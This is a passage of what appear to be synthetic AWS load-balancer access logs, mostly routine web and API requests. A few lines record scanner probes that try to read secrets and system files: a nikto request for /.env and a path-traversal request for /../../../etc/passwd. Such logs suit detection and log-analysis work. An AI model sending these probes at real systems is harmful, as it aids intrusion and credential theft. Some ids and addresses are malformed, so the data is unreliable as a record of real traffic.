10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d53d-e296742bc28a44aa91054d8a" "staging-alb.example.com" "-" 8 2024-11-01T02:06:37.692808Z "forward" "-" "-" "4.180.113.59:80" "301" "-" "-" -https 2024-11-01T02:06:39.518703Z prod-web-alb 10.78.135.127:38018 10.0.176.139:443 0.071412 0.386853 0.054194 301 301 989 5529 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d53f-b0c71ee5bbcd49e6a5aa1706" "prod-web-alb.example.com" "-" 7 2024-11-01T02:06:39.518703Z "forward" "-" "-" "10.0.176.139:443" "301" "-" "-" -https 2024-11-01T02:06:40.864605Z prod-web-alb 23.247.34.239:31646 10.0.29.169:443 0.014197 0.281743 0.029832 302 302 545 1991 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d540-872f14051f2f4773b83d9493" "prod-web-alb.example.com" "-" 6 2024-11-01T02:06:40.864605Z "forward" "-" "-" "10.0.29.169:443" "302" "-" "-" -https 2024-11-01T02:06:41.192580Z prod-api-alb 163.27.79.55:56244 10.0.194.3:443 0.032816 0.174261 0.065436 301 301 815 13542 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d541-d07fa7072317466083a264a2" "prod-api-alb.example.com" "-" 1 2024-11-01T02:06:41.192580Z "forward" "-" "-" "10.0.194.3:443" "301" "-" "-" -https 2024-11-01T02:06:41.305749Z prod-api-alb 88.11.30.68:46810 10.0.105.129:443 0.012280 0.356972 0.057270 200 200 345 4240 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d541-2aa0eeb0d5bd4627a448643e" "prod-api-alb.example.com" "-" 7 2024-11-01T02:06:41.305749Z "forward" "-" "-" "10.0.105.129:443" "200" "-" "-" -https 2024-11-01T02:06:42.077517Z prod-api-alb 9.33.158.141:36782 10.0.52.118:443 0.030687 0.399601 0.003572 404 404 450 7384 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d542-db0059b9d0a547c1b00a8ad7" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:42.077517Z "forward" "-" "-" "10.0.52.118:443" "404" "-" "-" -http 2024-11-01T02:06:42.463088Z staging-alb 45.155.205.6:14116 86.164.125.187:8080 0.050006 0.689264 0.012070 301 301 231 2352 "GET /.env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d542-4e2e0960b572499bb2735c9f" "-" "-" 10 2024-11-01T02:06:42.463088Z "forward" "-" "-" "86.164.125.187:8080" "301" "-" "-" -http 2024-11-01T02:06:43.715096Z staging-alb 202.167.115.33:44095 196.12.143.161:80 0.117672 0.618041 0.073409 404 404 886 11841 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d543-d52b410d1d684ba4b03caf04" "staging-alb.example.com" "-" 2 2024-11-01T02:06:43.715096Z "forward" "-" "-" "196.12.143.161:80" "404" "-" "-" -https 2024-11-01T02:06:45.574915Z staging-alb 34.82.127.249:61926 155.100.227.144:80 0.036544 0.375402 0.006717 302 302 599 7498 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d545-924ba089b7da41b99f75a2cf" "staging-alb.example.com" "-" 8 2024-11-01T02:06:45.574915Z "forward" "-" "-" "155.100.227.144:80" "302" "-" "-" -https 2024-11-01T02:06:46.214473Z prod-web-alb 30.207.200.151:38689 10.0.1.53:443 0.074278 0.219582 0.035761 404 404 222 8546 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d546-a6827d62f6934eafb6580aa8" "prod-web-alb.example.com" "-" 0 2024-11-01T02:06:46.214473Z "forward" "-" "-" "10.0.1.53:443" "404" "-" "-" -http 2024-11-01T02:06:46.502692Z staging-alb 213.169.254.0:21847 71.26.156.97:80 0.016419 0.387338 0.036063 301 301 261 13734 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d546-a87b5c81fe7d41ad99fec3b9" "staging-alb.example.com" "-" 1 2024-11-01T02:06:46.502692Z "forward" "-" "-" "71.26.156.97:80" "301" "-" "-" -https 2024-11-01T02:06:47.551192Z prod-web-alb 180.95.221.64:25410 10.0.7.3:443 0.090144 0.048107 0.045025 404 404 451 6888 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d547-4430b69f29874a1fa52ac35c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:06:47.551192Z "forward" "-" "-" "10.0.7.3:443" "404" "-" "-" -https 2024-11-01T02:06:49.146204Z prod-web-alb 146.155.225.143:36593 10.0.158.40:443 0.053490 0.352696 0.073988 200 200 751 6641 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d549-25c8e9eea8f04694925551c9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:06:49.146204Z "forward" "-" "-" "10.0.158.40:443" "200" "-" "-" -https 2024-11-01T02:06:50.372875Z prod-web-alb 200.156.38.84:12474 10.0.48.141:443 0.080228 0.289953 0.036174 302 302 397 11512 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d54a-3e7b287c7f764a9b94ac33b2" "prod-web-alb.example.com" "-" 7 2024-11-01T02:06:50.372875Z "forward" "-" "-" "10.0.48.141:443" "302" "-" "-" -https 2024-11-01T02:06:51.415971Z prod-web-alb 212.125.157.234:11896 10.0.98.243:443 0.055237 0.205071 0.024737 301 301 830 14583 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d54b-9211e9c4922b46bbaa89b029" "prod-web-alb.example.com" "-" 9 2024-11-01T02:06:51.415971Z "forward" "-" "-" "10.0.98.243:443" "301" "-" "-" -https 2024-11-01T02:06:51.660892Z prod-api-alb 185.181.6.37:29669 10.0.116.135:443 0.089028 0.057612 0.083143 302 302 249 4332 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d54b-146ca91b2de24a64980acc52" "-" "-" 6 2024-11-01T02:06:51.660892Z "forward" "-" "-" "10.0.116.135:443" "302" "-" "-" -https 2024-11-01T02:06:53.128413Z prod-api-alb 130.243.70.137:25200 10.0.25.119:443 0.099763 0.393045 0.099905 200 200 691 12786 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d54d-c23bd5a06d114695bc4b05bc" "prod-api-alb.example.com" "-" 2 2024-11-01T02:06:53.128413Z "forward" "-" "-" "10.0.25.119:443" "200" "-" "-" -https 2024-11-01T02:06:53.764977Z prod-web-alb 12.88.109.243:44677 10.0.108.63:443 0.071847 0.416660 0.039257 200 200 493 12655 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d54d-a0978a1a79144c65a1ebd5da" "prod-web-alb.example.com" "-" 2 2024-11-01T02:06:53.764977Z "forward" "-" "-" "10.0.108.63:443" "200" "-" "-" -https 2024-11-01T02:06:55.216474Z prod-api-alb 193.27.228.24:13042 10.0.28.87:443 0.062102 0.076609 0.023505 404 404 504 4050 "GET /../../../etc/passwd HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d54f-6a0c085d04804616ab1bfa05" "-" "-" 4 2024-11-01T02:06:55.216474Z "forward" "-" "-" "10.0.28.87:443" "404" "-" "-" -https 2024-11-01T02:06:57.215741Z prod-web-alb 132.229.208.224:10928 10.0.16.18:443 0.058248 0.015040 0.010019 200 200 715 6570 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d551-3f18374d31eb4f4c91e37c83" "prod-web-alb.example.com" "-" 6 2024-11-01T02:06:57.215741Z "forward" "-" "-" "10.0.16.18:443" "200" "-" "-" -https 2024-11-01T02:06:58.534766Z prod-api-alb 47.204.55.152:15657 10.0.143.192:443 0.041378 0.459890 0.086537 404 404 135 7667 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d552-5a9abe4091f24a60bbd8b8a3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:06:58.534766Z "forward" "-" "-" "10.0.143.192:443" "404" "-" "-" -http 2024-11-01T02:07:00.363409Z staging-alb 73.67.5.172:47188 223.137.226.218:8080 0.012456 0.695467 0.019400 302 302 446 10927 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d554-0704969d8d1541c2adc8aaa1" "staging-alb.example.com" "-" 8 2024-11-01T02:07:00.363409Z "forward" "-" "-" "223.137.226.218:8080" "302" "-" "-" -https 2024-11-01T02:07:01.714479Z prod-web-alb 3.234.241.67:26343 10.0.125.84:443 0.039436 0.465350 0.045547 200 200 750 5855 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d555-8953f60736854700808fdcf0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:07:01.714479Z "forward" "-" "-" "10.0.125.84:443" "200" "-" "-" -https 2024-11-01T02:07:03.150808Z staging-alb 50.120.146.207:11439 81.117.117.197:80 0.112159 0.238480 0.029786 301 301 641 14617 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d557-d9ecb7996ac441d893d80c74" "staging-alb.example.com" "-" 6 2024-11-01T02:07:03.150808Z "forward" "-" "-" "81.117.117.197:80" "301" "-" "-" -http 2024-11-01T02:07:04.283528Z staging-alb 112.8.178.192:36103 166.145.55.19:8080 0.055244 0.190694 0.144965 302 302 742 7946 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d558-85e42708713d4419bda450f0" "staging-alb.example.com" "-" 10 2024-11-01T02:07:04.283528Z "forward" "-" "-" "166.145.55.19:8080" "302" "-" "-" -https 2024-11-01T02:07:05.682821Z prod-web-alb 2.188.35.209:50730 10.0.255.109:443 0.039853 0.221643 0.069461 302 302 331 393 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d559-3ce0ef62ddff40e19451665e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:07:05.682821Z "forward" "-" "-" "10.0.255.109:443" "302" "-" "-" -https 2024-11-01T02:07:06.171669Z prod-api-alb 1.230.151.24:44141 10.0.144.120:443 0.069135 0.069358 0.012306 302 302 544 2484 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d55a-0aad326a8aef44bf86c1fb48" "prod-api-alb.example.com" "-" 10 2024-11-01T02:07:06.171669Z "forward" "-" "-" "10.0.144.120:443" "302" "-" "-" -https 2024-11-01T02:07:07.708528Z prod-api-alb 20.233.29.254:10012 10.0.49.19:443 0.087763 0.474148 0.031541 404 404 900 9117 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d55b-db97ab340b3f4f5481cc52b0" "prod-api-alb.example.com" "-" 0 2024-11-01T02:07:07.708528Z "forward" "-" "-" "10.0.49.19:443" "404" "-" "-" -https 2024-11-01T02:07:09.025593Z prod-api-alb 193.210.41.223:44572 10.0.30.27:443 0.036076 0.064150 0.025196 404 404 79 12110 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d55d-2bceae833daa4ba6a71257c7" "prod-api-alb.example.com" "-" 5 2024-11-01T02:07:09.025593Z "forward" "-" "-" "10.0.30.27:443" "404" "-" "-" -http 2024-11-01T02:07:09.734930Z staging-alb 94.55.189.60:34942 4.101.252.67:443 0.137459 0.663896 0.124339 404 404 475 13488 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d55d-54ffd81da5224e55840a4618" "staging-alb.example.com" "-" 7 2024-11-01T02:07:09.734930Z "forward" "-" "-" "4.101.252.67:443" "404" "-" "-" -https 2024-11-01T02:07:10.321141Z prod-api-alb 104.118.108.44:45084 10.0.67.33:443 0.062586 0.345007 0.061756 200 200 450 13033 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d55e-96da0974823a41ba8a726549" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:10.321141Z "forward" "-" "-" "10.0.67.33:443" "200" "-" "-" -https 2024-11-01T02:07:12.058039Z prod-api-alb 79.211.41.225:46939 10.0.141.245:443 0.087289 0.167239 0.085921 200 200 232 4186 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d560-e1a398f6dcf24603a00f8e65" "prod-api-alb.example.com" "-" 6 2024-11-01T02:07:12.058039Z "forward" "-" "-" "10.0.141.245:443" "200" "-" "-" -https 2024-11-01T02:07:13.527425Z prod-api-alb 47.4.49.157:41704 10.0.178.53:443 0.023396 0.154235 0.059670 200 200 567 11765 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d561-782f8bc62a5e461f920c87e1" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:13.527425Z "forward" "-" "-" "10.0.178.53:443" "200" "-" "-" -http 2024-11-01T02:07:15.277110Z staging-alb 229.130.195.216:63778 193.187.1.101:8080 0.010915 0.694062 0.148209 302 302 455 8458 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d563-109b8e8d02ad4af8a09684ff" "-" "-" 4 2024-11-01T02:07:15.277110Z "forward" "-" "-" "193.187.1.101:8080" "302" "-" "-" -https 2024-11-01T02:07:16.994382Z prod-web-alb 71.25.106.222:28652 10.0.253.35:443 0.049219 0.451695 0.056407 200 200 420 13752 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d564-d247d30054b849ec8d32cc89" "prod-web-alb.example.com" "-" 6 2024-11-01T02:07:16.994382Z "forward" "-" "-" "10.0.253.35:443" "200" "-" "-" -https 2024-11-01T02:07:18.665982Z prod-api-alb 19.241.203.161:28465 10.0.23.76:443 0.019346 0.149035 0.023988 200 200 18 12191 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d566-24b7e6ca425c4b289bfe7d64" "prod-api-alb.example.com" "-" 6 2024-11-01T02:07:18.665982Z "forward" "-" "-" "10.0.23.76:443" "200" "-" "-" -https 2024-11-01T02:07:19.632685Z prod-api-alb 193.102.151.59:30530 10.0.40.124:443 0.058791 0.133867 0.058824 200 200 987 4201 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d567-7cae0c1e852b4f869237b348" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:19.632685Z "forward" "-" "-" "10.0.40.124:443" "200" "-" "-" -https 2024-11-01T02:07:21.382375Z staging-alb 32.173.178.27:60060 208.166.20.255:443 0.114053 0.426176 0.067084 200 200 31 6914 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d569-be89e5ecf0a24060a509a804" "staging-alb.example.com" "-" 6 2024-11-01T02:07:21.382375Z "forward" "-" "-" "208.166.20.255:443" "200" "-" "-" -https 2024-11-01T02:07:21.501118Z staging-alb 143.246.158.253:56178 129.147.74.224:8080 0.099883 0.119176 0.087438 302 302 565 7635 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d569-62e818df82ab4dfeb2ab5a48" "staging-alb.example.com" "-" 6 2024-11-01T02:07:21.501118Z "forward" "-" "-" "129.147.74.224:8080" "302" "-" "-" -https 2024-11-01T02:07:22.670010Z prod-web-alb 43.177.238.79:31735 10.0.237.61:443 0.016338 0.266119 0.072892 200 200 274 3749 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d56a-50dca3281d4e480ab5d897d1" "prod-web-alb.example.com" "-" 0 2024-11-01T02:07:22.670010Z "forward" "-" "-" "10.0.237.61:443" "200" "-" "-" -http 2024-11-01T02:07:23.693270Z staging-alb 33.46.78.56:12729 32.108.213.153:443 0.030765 0.024807 0.132415 200 200 857 8675 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d56b-a575c1f3a51d4c9a91c77136" "staging-alb.example.com" "-" 2 2024-11-01T02:07:23.693270Z "forward" "-" "-" "32.108.213.153:443" "200" "-" "-" -https 2024-11-01T02:07:25.171213Z prod-api-alb 134.26.162.98:23685 10.0.216.193:443 0.072366 0.063203 0.001468 200 200 283 6187 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d56d-f73c79dec50244dc801b0d06" "prod-api-alb.example.com" "-" 4 2024-11-01T02:07:25.171213Z "forward" "-" "-" "10.0.216.193:443" "200" "-" "-" -https 2024-11-01T02:07:26.230645Z prod-web-alb 122.104.140.157:22175 10.0.211.73:443 0.025320 0.049214 0.010200 200 200 986 12437 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d56e-3e49ce64edcd42cb8f811d46" "prod-web-alb.example.com" "-" 8 2024-11-01T02:07:26.230645Z "forward" "-" "-" "10.0.211.73:443" "200" "-" "-" -http 2024-11-01T02:07:27.893924Z staging-alb 58.76.77.126:14792 246.203.207.254:8080 0.052614 0.481830 0.001328 404 404 483 11049 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d56f-d11284e18a084f61a2cae333" "staging-alb.example.com" "-" 8 2024-11-01T02:07:27.893924Z "forward" "-" "-" "246.203.207.254:8080" "404" "-" "-" -https 2024-11-01T02:07:29.101806Z prod-web-alb 72.49.182.86:47324 10.0.255.186:443 0.096446 0.213546 0.046630 200 200 209 7686 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d571-2a5b985879cd40ea89bb3d0e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:07:29.101806Z "forward" "-" "-" "10.0.255.186:443" "200" "-" "-" -https 2024-11-01T02:07:30.263741Z prod-web-alb 59.78.71.66:12921 10.0.146.113:443 0.054749 0.416723 0.086142 200 200 286 10825 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d572-0f253895104f4d91ab882e63" "prod-web-alb.example.com" "-" 10 2024-11-01T02:07:30.263741Z "forward" "-" "-" "10.0.146.113:443" "200" "-" "-" -https 2024-11-01T02:07:32.104301Z prod-web-alb 147.7.162.197:52462 10.0.161.155:443 0.083278 0.004341 0.065852 301 301 698 3143 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d574-7db567c0151a4e968fa1134b" "prod-web-alb.example.com" "-" 10 2024-11-01T02:07:32.104301Z "forward" "-" "-" "10.0.161.155:443" "301" "-" "-" -https 2024-11-01T02:07:33.249266Z prod-api-alb 239.61.205.153:57823 10.0.31.135:443 0.062498 0.466770 0.099415 200 200 722 9331 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d575-16fc494014de450fb5cfbbcd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:07:33.249266Z "forward" "-" "-" "10.0.31.135:443" "200" "-" "-" -http 2024-11-01T02:07:33.851730Z staging-alb 189.141.88.164:63674 51.17.219.111:8080 0.009604 0.416233 0.008947 200 200 427 